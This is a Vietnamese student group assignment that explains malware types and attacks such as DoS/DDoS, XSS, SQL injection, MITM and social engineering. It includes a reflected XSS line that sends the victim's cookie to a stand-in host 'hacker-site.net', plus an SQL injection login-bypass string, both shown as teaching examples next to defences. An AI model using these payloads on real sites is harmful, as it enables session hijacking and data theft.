**Bài tập nhóm chương 3**

Danh sách thành viên nhóm

|  |  |  |  |
| --- | --- | --- | --- |
| **Họ đệm** | **Tên** | **MSSV** | **Chức vụ** |
| 1. Nguyễn Thành | Phát | 21010471 | Nhóm trưởng |
| 2. Châu Công | Thoại | 21009641 | Thư ký |
| 3. Dương Huy | Hoàng | 19631051 | Thành viên |

1. So sánh virus vs worm vs Trojan vs ransomeware

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
|  | Virus | Worm | Trojan | Ransomware |
| Định nghĩa/khái niệm | Virus là một loại phần mềm độc hại tự sao chép và lây nhiễm vào máy tính mà không cần sự chấp nhận của người sử dụng, có thể gây hại bằng cách xóa dữ liệu hoặc kiểm soát hệ thống. | Sâu máy tính là một loại phần mềm độc hại lây lan các bản sao của nó từ máy tính này sang máy tính khác. | Một loại phần  mềm độc hại được ngụy trang dưới dạng  phần  mềm hợp pháp, chạy ẩn trên hệ thống bị nhiễm | Ransomware là phần mềm gián điệp hay phần mềm tống tiền, nó là tên gọi chung của 1 dạng phần mềm độc hại - Malware, có "tác dụng" chính là ngăn chặn người dùng truy cập và sử dụng hệ thống máy tính hoặc các file tài liệu của họ (chủ yếu phát hiện trên hệ điều hành Windows). |
| Tài sản bị thiệt hại | Gây thiệt hại cho dữ liệu, hệ thống hoặc cả thiết bị phần cứng. | - Giảm hiệu suất hệ thống, tiêu tốn tài nguyên mạng.   - Gây ra sự cố bảo mật. | - Thông tin ngân hàng và thẻ tín dụng  - Dữ liệu cá nhân và tài khoản | - Dữ liệu quan trọng  - Tổn thất tài chính. |
| Cơ chế hoạt động: nhiễm, lây lan, cơ chế gây hại… | Có 2 phương thức lây lan virus là qua mạng Internet và qua thiết bị gắn vào máy tính. | Worm máy tính thường dựa vào các hoạt động và lỗ hổng trong những giao thức mạng để lan truyền. Sau khi hoạt động trên một máy tính mới bị nhiễm, phần mềm độc hại sẽ bắt đầu một cuộc tìm kiếm các nạn nhân tiềm năng mới trên mạng | Trojan ẩn mình dưới rất nhiều hình thức khác nhau từ bài hát, phần mềm, hình ảnh, link tải, quảng cáo và trông chúng an toàn, hợp pháp để người dùng tải xuống máy tính hay chỉ cần click chuột vào. Khi đó các phần mềm gián điệp sẽ nhanh chóng xâm nhập vào hệ thống máy tính, chờ tín hiệu của người muốn xâm nhập máy tính và sau đó để hắn khống chế toàn bộ dữ liệu cá nhân của người dùng. | Chặn quyền truy cập vào hệ thống hoặc mã hóa dữ liệu trên hệ thống có thể lây lan sang máy tính thông qua  - File đính kèm hoặc link trong email lừa đảo  - Các trang web bị nhiễm virus  - Download  - USB driver bị nhiễm. |
| Triệu chứng/hiện tượng | - Máy tính chạy chậm bất thường  - Màn hình máy tính liên tục bị lỗi như [lỗi máy tính màn hình xanh](https://quantrimang.com/cong-nghe/huong-dan-sua-loi-man-hinh-xanh-tren-may-tinh-116844),...  - Cảnh báo giả: Những cửa sổ pop-up không mong muốn thường xuyên nhảy ra trên máy tính | - Hiệu suất máy tính bị giảm xuống theo thời gian.  - Hệ thống có các hoạt động bất thường như bị đóng băng, [băng thông](https://bkhost.vn/blog/bandwidth-bang-thong/) bị hạn chế, tạm dừng các chương trình thực thi bất ngờ.  - Các yếu tố như âm thanh, hình ảnh hoặc tin nhắn hoạt động bất thường.  - Một số tệp hoặc biểu tượng lạ xuất hiện hoặc biến mất đột ngột.  - Các thông báo cảnh báo từ hệ điều hành hoặc phần mềm bảo vệ như tường lửa, phần mềm diệt Virus và tin nhắn từ Email lạ. | - Dấu hiệu lạ trên màn hình máy tính.  - Hình nền máy tính tự động bị thay đổi.  - Các văn bản tự động in.  - Máy tính tự động thay đổi font chữ và các thiết lập khác.  - [Lỗi chuột máy tính](https://quantrimang.com/cong-nghe/cach-khac-phuc-chuot-khong-hoat-dong-tren-windows-164259) như không hiển thị chuột, 2 chuột lẫn lộn nhau.  -Nút Start không hiển thị.  -Cửa sổ chat hiển thị mà không phải do bạn mở lên. | Mã hóa các tệp trên máy tính và yêu cầu khoản tiền chuộc để được thanh toán bằng tiền điện tử, Bitcoin |

1. Trình bày một số các biện pháp phòng chống virus, worm, trojan, ransomware **(bỏ)**

1. Giải thích cách thực hiện cuộc tấn công DoS và DDoS, XSS, SQL injection, Man in the Middle

Tấn công **DoS** (Denial of Service) và **DDoS** (Distributed Denial of Service) là những hành động có mục tiêu làm cho dịch vụ trực tuyến trở nên không khả dụng cho người dùng bình thường bằng cách làm quá tải dẫn đến làm mất kết nối với dịch vụ, kết quả cuối cùng là các máy trạm (Client) không thể truy cập dịch vụ từ máy chủ Server. Dưới đây là giải thích cách thực hiện cả hai loại tấn công này:

**- Đối với DoS:**

Sử dụng lưu lượng truy cập giả mạo làm cho một hệ thống hoặc dịch vụ trực tuyến trở nên quá tải, từ đó làm cho quá trình xử lý bị chậm, nghẽn, thậm chí có thể dẫn đến sụp đổ hệ thống. Quá trình hoạt động gồm các bước như sau:

* Bước 1: Chọn Mục Tiêu: Tin tặc chọn một mục tiêu, thường là một máy chủ (server) hoặc dịch vụ trực tuyến như trang web, ứng dụng hoặc hệ thống mạng.
* Bước 2: Tạo Lưu Lượng Tăng Cường: Tin tặc sử dụng các máy tính bị nhiễm virus hoặc botnet (mạng bot) để tạo ra lưu lượng truy cập giả mạo nhắm tới mục tiêu.
* Bước 3: Phát Tán Tấn Công: Trong kiểu tấn công DoS truyền thống, tin tặc gửi lưu lượng truy cập giả mạo đến mục tiêu một cách liên tục. Đối với DDoS sau này, lưu lượng thường được phân phối từ nhiều nguồn khác nhau, làm cho việc xác định và chặn nguồn tấn công trở nên khó khăn hơn.
* Bước 4: Quá Tải Hệ Thống: Lưu lượng truy cập giả mạo được gửi đến mục tiêu với tốc độ cực cao, làm cho hệ thống không thể xử lý kịp và dẫn đến quá tải khiến các dịch vụ trở nên không khả dụng.
* Bước 5: Tình Huống Tấn Công Liên Tục: Tình trạng quá tải tiếp tục trong thời gian dài, có thể kéo dài từ vài giây đến nhiều ngày. Khi tấn công kết thúc, dịch vụ trực tuyến có thể phục hồi nhưng sẽ gây thiệt hại nghiêm trọng đối với danh tiếng và khả năng hoạt động của tổ chức bị tấn công.

**- Đối với DDosS:**

Trong một cuộc tấn công DDOS, một kẻ tấn công không chỉ sử dụng máy tính của mình mà còn lợi dụng hay sử dụng hợp pháp các máy tính khác. Bằng việc lợi dụng các lỗ hổng bảo mật hay các điểm yếu của ứng dụng, một kẻ tấn công có thể lấy quyền kiểm soát máy tính của bạn.

Sau đó họ có thể lợi dụng máy tính của bạn để gởi các dữ liệu hay các yêu cầu với số lượng lớn vào một trang web hoặc gởi các thư rác đến một địa chỉ email cụ thể. Gọi là tấn công “phân tán – Distributes” vì kẻ tấn công có thể sử dụng nhiều máy tính, bao gồm cả chính bạn để thực hiện các cuộc tấn công từ chối dịch vụ.

**Ví dụ:** Giả sử bạn muốn truy cập một website thương mại điện tử để mua quà tặng. Máy tính của bạn gửi một gói thông tin nhỏ đến website. Gói này hoạt động như một lời chào, mang thông điệp “Hi, I’d like to visit you, please let me in”. Khi server nhận được tin nhắn trên máy tính của bạn, nó sẽ gửi lại một tin nhắn ngắn, giống như “OK, are you real?”. Máy tính của bạn phản hồi “Yes!” và kết nối được thiết lập. Máy tính của bạn và server tiếp tục liên lạc khi bạn nhấp vào liên kết, đặt hàng và thực hiện công việc khác.

**Tấn công Cross Site Scripting (XSS):** Gửi và chèn lệnh và script độc hại, những mã độc này thường được viết với ngôn ngữ lập trình phía client như Javascript, HTML, VBScript, Flash… những mã độc có thể được phản chiếu trên trình duyệt của nạn nhân hoặc được lưu trữ trong cơ sở dữ liệu và được chạy mỗi khi người dùng gọi chức năng thích hợp.

Mã độc có thể nhập một script và được chèn vào mã nguồn của website. Khi đó trình duyệt không thể biết mã thực thi có phải độc hại hay không. Do đó mã độc hại có thể đang được thực thi trên trình duyệt của nạn nhận hoặc bất kỳ hình thức giả nào đang được hiển thị cho người sử dụng

**Mục đích:** ăn cắp dữ liệu nhận dạng của người dùng như: cookies, session tokens và các thông tin khác. Trong hầu hết các trường hợp, cuộc tấn công này đang được sử dụng để ăn cắp cookie của người khác. Như chúng ta biết, cookie giúp đăng nhập tự động. Do đó với cookie bị đánh cắp, kẻ tấn công có thể đăng nhập bằng các thông tin nhận dạng khác

**Ví dụ tấng công XSS là: Reflected XSS:**

1. **Người dùng đăng nhập web và giả sử được gán session:**

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

1. **Bằng cách nào đó, hacker gửi được cho người dùng URL:**

[http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2Bdocument.cookie;](http://example.com/name=var+i=new+Image;+i.src=%E2%80%9Dhttp:/hacker-site.net/%E2%80%9D%2bdocument.cookie;)

Giả sử [example.com](http://example.com/) là website nạn nhân truy cập, [hacker-site.net](http://hacker-site.net/) là trang của hacker tạo ra

1. **Nạn nhân truy cập đến URL trên**
2. **Server phản hồi cho nạn nhân, kèm với dữ liệu có trong request (đoạn javascript của hacker)**
3. **Trình duyệt nạn nhân nhận phản hồi và thực thi đoạn javascript**
4. **Đoạn javascript mà hacker tạo ra thực tế như sau:**

var i=new Image; i.src= “[http://hacker-site.net/”+document.cookie;](http://hacker-site.net/)

Dòng lệnh trên bản chất thực hiện request đến site của hacker với tham số là cookie người dùng:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1

Host: [hacker-site.net](http://hacker-site.net/)

1. **Từ phía site của mình, hacker sẽ bắt được nội dung request trên và coi như session của người dùng sẽ bị chiếm. Đến lúc này, hacker có thể giả mạo với tư cách nạn nhân và thực hiện mọi quyền trên website mà nạn nhân có.**

**- Tấn công SQL injection:**

Tấn công SQL injection xảy ra khi kẻ tấn công có thể chèn mã SQL độc hại vào truy vấn SQL. Kẻ tấn công có thể làm điều này bằng cách nhập dữ liệu vào trường đầu vào "Tên người dùng" hoặc "Mật khẩu".

Chúng ta thấy một trang web đơn giản cho phép người dùng đăng nhập. Trang web sử dụng mã PHP để xử lý thông tin đăng nhập của người dùng. Mã PHP này sử dụng truy vấn SQL để truy vấn cơ sở dữ liệu để xác minh thông tin đăng nhập. Kẻ tấn công có thể nhập "saitech123" vào trường "Tên người dùng". Kẻ tấn công cũng có thể nhập mã SQL độc hại vào trường "Mật khẩu". Ví dụ: kẻ tấn công có thể nhập "12345' or 1=1 --".

Khi người dùng nhấn nút "Đăng nhập", mã PHP sẽ thực thi truy vấn SQL sau:

SELECT \* FROM login WHERE username = 'saitech123' AND password = '12345' or 1=1 --';

Truy vấn này sẽ trả về tất cả các hàng trong bảng "login" nơi cột "username" bằng "saitech123". Tuy nhiên, mã SQL độc hại cũng sẽ được thực thi. Trong trường hợp này, mã SQL sẽ trả về tất cả các hàng trong bảng "login".

Kẻ tấn công có thể sử dụng thông tin này để lấy cắp thông tin nhạy cảm từ cơ sở dữ liệu, chẳng hạn như tên người dùng, mật khẩu và thông tin cá nhân.

Trong ví dụ này, kẻ tấn công có thể lấy cắp danh sách tất cả người dùng trong cơ sở dữ liệu. Kẻ tấn công cũng có thể lấy cắp mật khẩu của tất cả người dùng.

Để ngăn chặn tấn công SQL injection, các nhà phát triển web nên sử dụng các phương pháp phòng thủ thích hợp. Một số phương pháp phòng thủ phổ biến bao gồm:

* Sử dụng các tham số truy vấn để bảo vệ dữ liệu người dùng khỏi bị chèn mã SQL độc hại.
* Xác thực dữ liệu người dùng trước khi sử dụng nó trong truy vấn SQL.
* Sử dụng các công cụ kiểm tra bảo mật để phát hiện các lỗ hổng SQL injection.

Trong ví dụ này, nhà phát triển web có thể sử dụng tham số truy vấn để bảo vệ dữ liệu người dùng khỏi bị chèn mã SQL độc hại. Ví dụ: mã PHP sau sẽ sử dụng tham số truy vấn để truy vấn cơ sở dữ liệu:

$username = $\_POST['username'];

$password = $\_POST['password'];

$query = "SELECT \* FROM login WHERE username = :username AND password = :password";

$statement = $pdo->prepare($query);

$statement->bindParam(':username', $username);

$statement->bindParam(':password', $password);

$statement->execute();

Trong mã PHP này, biến $username và $password được sử dụng để lưu trữ dữ liệu người dùng. Mã PHP sau đó sẽ sử dụng tham số truy vấn để truy vấn cơ sở dữ liệu. Dữ liệu người dùng được truyền đến truy vấn SQL thông qua các tham số ":username" và ":password".

Sử dụng tham số truy vấn sẽ ngăn chặn kẻ tấn công chèn mã SQL độc hại vào truy vấn SQL.

**- Tấn công Man in the Middle (MITM)**

Tấn công Man in the Middle (MITM) là một cuộc tấn công mạng trong đó kẻ tấn công đặt mình vào giữa hai bên đang giao tiếp, chẳng hạn như người dùng và máy chủ. Kẻ tấn công có thể nghe trộm, thay đổi hoặc chặn dữ liệu được truyền giữa hai bên.

Có một số cách khác nhau mà kẻ tấn công có thể thực hiện tấn công MITM. Một cách phổ biến là sử dụng ARP poisoning. Trong ARP poisoning, kẻ tấn công gửi các gói ARP giả mạo đến các máy tính trên mạng. Các gói ARP giả mạo này sẽ khiến các máy tính nghĩ rằng kẻ tấn công là máy chủ đích. Do đó, khi các máy tính gửi dữ liệu đến máy chủ, dữ liệu đó sẽ được gửi đến kẻ tấn công thay vì máy chủ đích.

Một cách khác để thực hiện tấn công MITM là sử dụng DNS spoofing. Trong DNS spoofing, kẻ tấn công thay đổi các thông tin DNS của một trang web. Khi người dùng cố gắng truy cập trang web, họ sẽ được chuyển hướng đến một trang web giả mạo do kẻ tấn công kiểm soát. Trang web giả mạo có thể được sử dụng để đánh cắp thông tin nhạy cảm, chẳng hạn như tên người dùng và mật khẩu.

**Tấn công MITM có thể được sử dụng để thực hiện một số loại tấn công mạng khác nhau, bao gồm:**

* Nghe trộm: Kẻ tấn công có thể sử dụng tấn công MITM để nghe trộm các cuộc trò chuyện hoặc dữ liệu được truyền giữa hai bên.
* Thay đổi: Kẻ tấn công có thể sử dụng tấn công MITM để thay đổi dữ liệu được truyền giữa hai bên. Ví dụ, kẻ tấn công có thể thay đổi thông tin thanh toán của người dùng hoặc chèn mã độc vào trang web.
* Chặn: Kẻ tấn công có thể sử dụng tấn công MITM để chặn dữ liệu được truyền giữa hai bên. Ví dụ, kẻ tấn công có thể chặn người dùng truy cập một trang web hoặc ứng dụng.

**Để bảo vệ chống lại tấn công MITM, người dùng có thể thực hiện các biện pháp sau:**

* Sử dụng mạng Wi-Fi an toàn: Khi sử dụng mạng Wi-Fi công cộng, hãy sử dụng mạng được mã hóa bằng WPA2 hoặc WPA3.
* Sử dụng các giao thức liên lạc an toàn như https.
* Sử dụng VPN: VPN sẽ tạo ra một đường hầm an toàn giữa thiết bị của bạn và máy chủ VPN. Điều này sẽ giúp bảo vệ dữ liệu của bạn khỏi bị nghe trộm.
* Cập nhật phần mềm: Các bản cập nhật phần mềm thường bao gồm các bản vá bảo mật có thể giúp bảo vệ thiết bị của bạn khỏi các cuộc tấn công mạng, bao gồm cả tấn công MITM.

1. Trình bày một số các biện pháp phòng, chống các cuộc tấn công DoS, DDoS, XSS, SQL injection **(bỏ)**

1. Giải thích về  Social Engineering

Social Engineering là một kỹ thuật tấn công giả mạo nhằm lừa đảo hoặc đánh lừa người dùng để tiết lộ thông tin cá nhân hoặc để thực hiện các hành động không mong muốn. Kỹ thuật này thường được sử dụng trong các cuộc tấn công mạng nhằm mục đích chiếm đoạt thông tin cá nhân, thông tin đăng nhập hoặc thông tin tài chính của người dùng.

Các phương pháp social engineering thường sử dụng làm sao để kẻ tấn công lấy được niềm tin và sự tin tưởng của nạn nhân. Chẳng hạn, kẻ tấn công có thể giả vờ là một người quen, một đồng nghiệp, hoặc một nhân viên của công ty, và yêu cầu người dùng cung cấp mật khẩu, tài khoản hoặc thông tin cá nhân khác.

Một số ví dụ của kỹ thuật social engineering bao gồm:

-        Lừa đảo qua điện thoại: Kẻ tấn công giả vờ là một nhân viên của một tổ chức nào đó và yêu cầu thông tin cá nhân của nạn nhân thông qua điện thoại.

-        Lừa đảo qua email: Kẻ tấn công gửi email giả mạo cho nạn nhân, giả vờ là một ngân hàng, một công ty hoặc một tổ chức khác và yêu cầu người dùng cung cấp thông tin đăng nhập hoặc thông tin cá nhân.

-        Lừa đảo qua trang web giả mạo: Kẻ tấn công tạo ra một trang web giả mạo, giả vờ là một trang web của một tổ chức nào đó và yêu cầu người dùng cung cấp thông tin đăng nhập hoặc thông tin cá nhân.

Để phòng tránh social engineering, người dùng cần:

-        Cẩn trọng với các yêu cầu cung cấp thông tin cá nhân trên mạng, qua điện thoại hoặc qua email.

-        Kiểm tra tính xác thực của các yêu cầu trước khi cung cấp thông tin cá nhân.

-        Không mở các email hoặc tài liệu có đính kèm từ nguồn không xác định hoặc không rõ ràng.

-        Sử dụng phần mềm chống virus và tường lửa để bảo vệ chống lại các cuộc tấn công từ social engineering.

1. So sánh một số kiểu tấn công

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| Kiểu tấn công | Mô tả | Mục tiêu/tài sản thiệt hại | Thiệt hại/hiện tượng | Mức dộ thiệt hại |
| Malware | Phần mềm độc hại được thiết kế để xâm nhập hoặc gây hại cho hệ thống máy tính. | Hệ thống máy tính, dữ liệu quan trọng. | Mất dữ liệu, sự chậm trễ hoặc ngừng hoạt động của hệ thống. | Cao. |
| Social Engineering | Sử dụng kỹ thuật xã hội để lừa đảo người dùng và thu thập thông tin cá nhân hoặc thông tin quan trọng. | Thông tin cá nhân, thông tin quan trọng. | Lừa đảo, mất thông tin cá nhân. | Trung bình. |
| Dos/DDos | Tấn công làm quá tải hệ thống hoặc mạng bằng cách gửi lưu lượng truy cập lớn. | Hệ thống, dịch vụ trực tuyến. | Ngừng hoạt động của dịch vụ, mất khả năng truy cập. | Cao. |
| XSS | Tấn công mà kẻ tấn công chèn mã độc hại vào trang web hoặc ứng dụng web. | Người dùng truy cập trang web. | Lấy thông tin cá nhân của người dùng, thực hiện các hành động không mong muốn. | Trung bình. |
| SQL injection | Kẻ tấn công chèn mã SQL độc hại vào các trường nhập liệu để can thiệp vào cơ sở dữ liệu. | Cơ sở dữ liệu. | Lấy thông tin quan trọng, xóa hoặc sửa đổi dữ liệu. | Cao. |
| MITM (Man In The Middle) | Kẻ tấn công can thiệp vào giao tiếp giữa hai bên mà không được phép. | Dữ liệu giao tiếp. | Đánh cắp thông tin, thay đổi nội dung giao tiếp. | Trung bình. |